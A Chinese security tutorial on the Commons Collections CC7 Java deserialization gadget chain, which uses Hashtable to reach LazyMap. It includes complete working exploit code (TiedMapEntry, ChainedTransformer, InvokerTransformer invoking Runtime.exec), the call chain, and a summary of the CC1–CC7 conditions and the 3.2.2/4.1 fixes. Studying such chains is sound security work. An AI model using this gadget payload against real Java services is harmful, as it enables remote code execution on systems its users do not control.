当前位置: 首页 > news >正文

JAVA反序列化深入学习(九):CommonsCollections7与CC链总结

CC7 依旧是寻找 LazyMap 的触发点

  • CC6使用了 HashSet
  • 而CC6使用了 Hashtable

JAVA环境

java version "1.8.0_74"

Java(TM) SE Runtime Environment (build 1.8.0_74-b02)

Java HotSpot(TM) 64-Bit Server VM (build 25.74-b02, mixed mode)

依赖版本

  • Apache Commons Collections 依赖版本:commons-collections : 3.1 - 3.2.1

检查依赖配置

确认项目中是否正确引入了 Apache Commons Collections 的依赖。如果使用的是 Maven,可以在 pom.xml 文件中添加以下依赖:

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
  <groupId>commons-collections</groupId>
  <artifactId>commons-collections</artifactId>
  <version>3.1</version>
</dependency>

资源下载

  • maven
  • Java8下载
  • commons-collections源码

前置知识

Hashtable - kick-off

HashtableHashMap 十分相似,是一种 key-value 形式的哈希表,但仍然存在一些区别:

  • HashMap 继承 AbstractMap,而 Hashtable 继承 Dictionary ,可以说是一个过时的类
  • 两者内部基本都是使用“数组-链表”的结构,但是 HashMap 引入了红黑树的实现
  • Hashtablekey-value 不允许为 null 值,但是 HashMap 则是允许的
    • HashMap会将 key=null 的实体放在 index=0 的位置
  • Hashtable 线程安全,HashMap 线程不安全

那既然两者如此相似,Hashtable 的内部逻辑能否触发反序列化漏洞呢?

答案是肯定的

readObject

Hashtable 的 readObject 方法中,最后调用了 reconstitutionPut 方法将反序列化得到的 key-value 放在内部实现的 Entry 数组 table 里

private void readObject(java.io.ObjectInputStream s)
     throws IOException, ClassNotFoundException
{
    // Read in the length, threshold, and loadfactor
    s.defaultReadObject();

    ...

    // Read the number of elements and then all the key/value objects
    for (; elements > 0; elements--) {
        @SuppressWarnings("unchecked")
            K key = (K)s.readObject();
        @SuppressWarnings("unchecked")
            V value = (V)s.readObject();
        // synch could be eliminated for performance
        reconstitutionPut(table, key, value);
    }
}
reconstitutionPut

reconstitutionPut 调用了 key 的 hashCode 方法

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
    throws StreamCorruptedException
{
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }
    // Makes sure the key is not already in the hashtable.
    // This should not happen in deserialized version.
    int hash = key.hashCode();
    int index = (hash & 0x7FFFFFFF) % tab.length;
    
    ...
}

这个调用逻辑是与 HashMap 差不多的

攻击构造

攻击调用代码与 CC6 HashMap 几乎一模一样,不了解的读者可以看看之前发的文章:

JAVA反序列化深入学习(八):CommonsCollections6-CSDN博客

区别仅仅在于换成了 Hashtable 来触发

恶意代码主体

public void CC7WithHashtable() throws Exception {
    // 初始化 HashMap
    Hashtable<Object, Object> hashtable = new Hashtable<>();

    Transformer[] transformers = GenTransformerArray();

    // 创建一个空的 ChainedTransformer
    ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});

    // 创建 LazyMap 并引入 TiedMapEntry
    Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
    TiedMapEntry entry   = new TiedMapEntry(lazyMap, "neolock");

    hashtable.put(entry, "neolock");

    //用反射再改回真的chain
    Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
    f.setAccessible(true);
    f.set(fakeChain, transformers);
    //清空由于 hashtable.put 对 LazyMap 造成的影响
    lazyMap.clear();

    writeObjectToFile(hashtable, fileName);
    readFileObject(fileName);
}

Transformer数组生成

protected Transformer[] GenTransformerArray()  throws IOException, NoSuchFieldException, IllegalAccessException {
    
    // 创建 ChainedTransformer
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    
    return transformers;
}

总结

以上就是 CC7 链分析的全部内容了,最后总结一下

利用说明

Hashtable 代替 HashMap 触发 LazyMap 方式,与 CC6 HashMap 几乎一致

Gadget 总结

  • kick-off gadget:java.util.Hashtable#readObject
  • sink gadget:org.apache.commons.collections.functors.InvokerTransformer#transform
  • chain gadget:org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode

调用链展示

Hashtable.readObject()
   TiedMapEntry.hashCode()
        LazyMap.get()
            ChainedTransformer.transform()
                ConstantTransformer.transform()
                    InvokerTransformer.transform()

CC链总结

利用条件

  • CC1、CC3、CC5、CC6、CC7是 Commons Collections <= 3.2.1 中存在的反序列化链
  • CC2、CC4是Commons Collections4 4.0中存在的反序列化链
  • 同时还对JDK的版本有要求,测试版本为1.7和1.8

修复方式

官方是怎么修复漏洞的?

Apache Commons Collections官方在2015年底得知序列化相关的问题后,就在两个分⽀上同时发布了新的版本,4.1和3.2.2

3.2.2
  • 新版代码中增加了⼀个方法FunctorUtils#checkUnsafeSerialization,用于检测反序列化是否安全
  • 如果开发者没有设置全局配置org.apache.commons.collections.enableUnsafeSerialization=true,即默认情况下会抛出异常
  • 这个检查在常见的危险Transformer类( InstantiateTransformerInvokerTransformerPrototypeFactoryCloneTransformer 等)的 readObject 里进行调用,所以当我们反序列化包含这些对象时就会抛出⼀个异常

Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources

4.1

4.1版本的修复方式又不一样

4.1中,这几个危险Transformer类不再实现 Serializable 接口

也就是说,他们几个彻底无法序列化和反序列化了

  • Java 反序列化漏洞(二) - Commons Collections | 素十八
  • Java反序列化漏洞(九)- CommonsCollections7链
http://www.dtcms.com/a/98950.html

相关文章:

  • 直接快速安装pytorch的cpu版本,在我的的 Python 3.8 + 虚拟环境 gdn 中安装
  • QT操作Word文档
  • The Rust Programming Language 学习 (七)
  • Windows 11系统下Kafka的详细安装与启动指南(JDK 1.8)
  • IvorySQL:兼容Oracle数据库的开源PostgreSQL
  • 【HTML 基础教程】HTML 链接
  • 多线程 - 线程安全引入
  • 什么是 实例化
  • Scala 数组
  • 排序算法2-选择排序
  • 07-SpringBoot3入门-整合druid连接池
  • Spring中的IOC及AOP概述
  • 高清电视 2.96| 免费高清电视直播
  • docker启动nacos+redis+seata
  • 【图像处理基石】什么是refocus?
  • 笔记本电脑更换主板后出现2203:System configuration is invalid,以及2201、2202系统错误的解决
  • AT24Cxx移植第三方库到裸机中使用
  • STM32单片机的桌面宠物机器人(基于HAL库)
  • Tomcat生产服务器性能优化
  • hi3516cv610编译sdk报错,解决方法
  • 深入理解Agentic Workflows
  • 迭代加深 IDE*
  • Git和GitCode使用(从Git安装到上传项目一条龙)
  • OpenCV基础——梯度计算、边缘检测、图像金字塔
  • Spring AI ToolCalling 扩展模型能力边界
  • JDK11.0.25
  • Java开发者の模型召唤术:LangChain4j咏唱指南(二)
  • Python 笔记 (二)
  • Python导论
  • HTTP介绍以及(GET/POST/PUT/DELETE)应用介绍